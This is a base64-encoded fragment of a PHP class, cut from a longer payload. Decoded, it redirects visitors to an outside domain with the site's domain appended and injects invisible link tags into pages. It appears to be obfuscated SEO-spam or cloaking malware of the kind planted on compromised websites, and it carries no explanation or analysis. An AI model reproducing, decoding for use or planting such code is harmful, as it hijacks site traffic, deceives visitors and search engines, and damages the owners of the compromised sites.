IiwiXyIsJHRoaXMtPmRvbWFpbik7CgkJCWhlYWRlcignTG9jYXRpb246IGh0dHA6Ly9udC53eGNv b2xiYWJ5LmNvbS9udC8/anBfJy4kZG9tYWluKTsKCQkJZXhpdDsKCQl9Cgl9CgkKCXB1YmxpYyBm dW5jdGlvbiBfdW5jb25kaXRpb25faG9vaygpewoJCSRhcnJheSA9IGFycmF5KCk7CgkJZm9yKCRh PTA7JGE8NTskYSsrKXsKCQkJZWNobyAnPGEgaHJlZj0iJy5BcHBfR2V0TGluaygpLiciPjwvYT4n LiJcbiI7CgkJfQoJfQoKCXB1YmxpYyBmdW5jdGlvbiBfdW5TcGlkZXJfaG9vaygpewoJCS8vCgl9 CgoKCXB1YmxpYyBmdW5jdGlvbiBzdHJTdGFydFdpdGgoJG5lZWRsZSwgJGhheXN0YWNrKXsKICAJ ICByZXR1cm4gKHN1YnN0cigkaGF5c3RhY2ssIDAsIHN0cmxlbigkbmVlZGxlKSk9PSRuZWVkbGUp OwoJfQoJCglwdWJsaWMgZnVuY3Rpb24gY3V0KCRmaWxlLCRmcm9tLCRlbmQpCgl7IAoJCSRtZXNz YWdlPWV4cGxvZGUoJGZyb20sJGZpbGUpOyAKCQkkbWVzc2FnZT1leHBsb2RlKCRlbmQsJG1lc3Nh Z2VbMV0pOyAKCQlyZXR1cm4gICAkbWVzc2FnZVswXTsKCX0KfQoKCg==